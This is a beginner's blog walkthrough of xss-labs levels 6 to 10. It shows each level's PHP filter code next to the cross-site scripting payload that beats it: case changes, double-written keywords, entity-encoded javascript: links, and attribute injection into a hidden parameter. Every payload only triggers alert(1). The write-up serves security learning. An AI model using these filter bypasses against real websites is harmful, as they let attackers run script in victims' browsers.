Maxton‘s Blog

Back

Notes compiled by a beginner for learning and reference. I am not a professional; please forgive any oversights. Acknowledgments to others and AI assistance where applicable.

I chose to present the source code directly (normally you cannot see the full backend source, only the page source). On one hand, this saves space used by trial-and-error payloads; on the other hand, it makes it more intuitive for future review without needing to run other tools. I believe most filtering methods can be discovered through testing—just try a few more times. (Okay, actually, I don’t think anyone else will read this; it’s mostly for my own review)

Level 6#

Source Code Presentation

1.As seen, the replacements here are numerous and terrifying.

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
php

However, notice that it lacks the conversion to lowercase from the previous level. It becomes very simple: Bypassing Filters

2.We can construct as follows:

" Onclick="alert(1) // Randomly change case for specific keywords
php

Others are omitted.

Level 7#

Source Code Presentation

1.Here, the case sensitivity loophole from Level 6 is patched, and attributes (keywords of attributes) are basically filtered (replaced with empty string).

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
php

2.Bypassing Filters. We can consider Double Writing Bypass.

For example, script, href, onclick can all be considered and used.

" oonnclick="alert(1)
php

Note ⚠️: Double writing here is not ononclick; writing it like that is useless no matter how many times. The goal is to have the middle part replaced by empty, letting the head and tail connect.

Level 8#

Source Code Presentation

1.The filtering in this level basically patches all previous holes: case sensitivity, keyword replacement, and even " is forcibly escaped.

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
php

2.The injection point for this level is not the original input box, but below it.

echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
php

The input $str7 is placed directly into the href attribute of the <a> tag. This means: We don’t need to “escape” to close the tag; we are already in a place where JS can be executed (href attribute supports javascript: pseudo-protocol).

The href attribute has a property: it performs HTML decoding first, restores the characters, and then executes.

3.Thus we can construct:

javasc&#114;ipt:alert(1)
html

HTML Entity Encoding#

This mainly targets PHP which won’t perform HTML decoding, allowing bypass of filters, while href automatically decodes.

MethodPayload CodeRemarks
Single Character (Recommended)javasc&#114;ipt:alert(1)Only change one letter r, shortest and fastest.
Head Characterjava&#115;cript:alert(1)Only change letter s.
Insert Tabjavasc&#9;ript:alert(1)Utilize &#9; (Tab key) to break the word.
Full Encoding
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;
&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
Line 1 is javascript:
Line 2 is alert(1)

Level 9#

Source Code Presentation

1.The overall logic is the same as Level 8, using the friendly link.

2.But here a check is added to see if our input link is valid, meaning direct pseudo-protocol + encoding from the previous level is invalid.

<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
php

Analyzing this, it only checks if the passed parameter contains http://. This means we can insert it anywhere.

3.So we can construct based on the previous level, using // comment to make the subsequent part ineffective.

javasc&#114;ipt:alert(1) // http://
php

Thinking differently, we don’t even need comments; simply insert it into alert(). Note that you must use ' to wrap it here.

javasc&#114;ipt:alert('http://')
php

Level 10#

Source Code Presentation

1.This level relies on passing parameters to construct the payload, but the problem is, what do we pass parameters to?

2.Checking the page source, we see three hidden input tags.

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
php

We might as well pass parameters to all three, for example:

t_link=1&t_history=1&t_sort=1
php

From this, we discover the injection point is t_sort.

3.Now we can construct just like before.

t_sort=" type="text" onclick="alert(1) 
php
ObstacleSolution
Cannot find injection pointRead source (or blind guess), find hidden t_sort parameter.
Filters < >Give up tag escape, switch to Attribute Injection (adding attributes inside the tag).
type="hidden"Inject type="text" to overwrite original attribute, making the element visible for interaction.
Xss-labs Full Walkthrough & XSS Notes02
https://en.maxtonniu.com/blog/xsslabs02
Author Maxton Niu
Published at December 26, 2025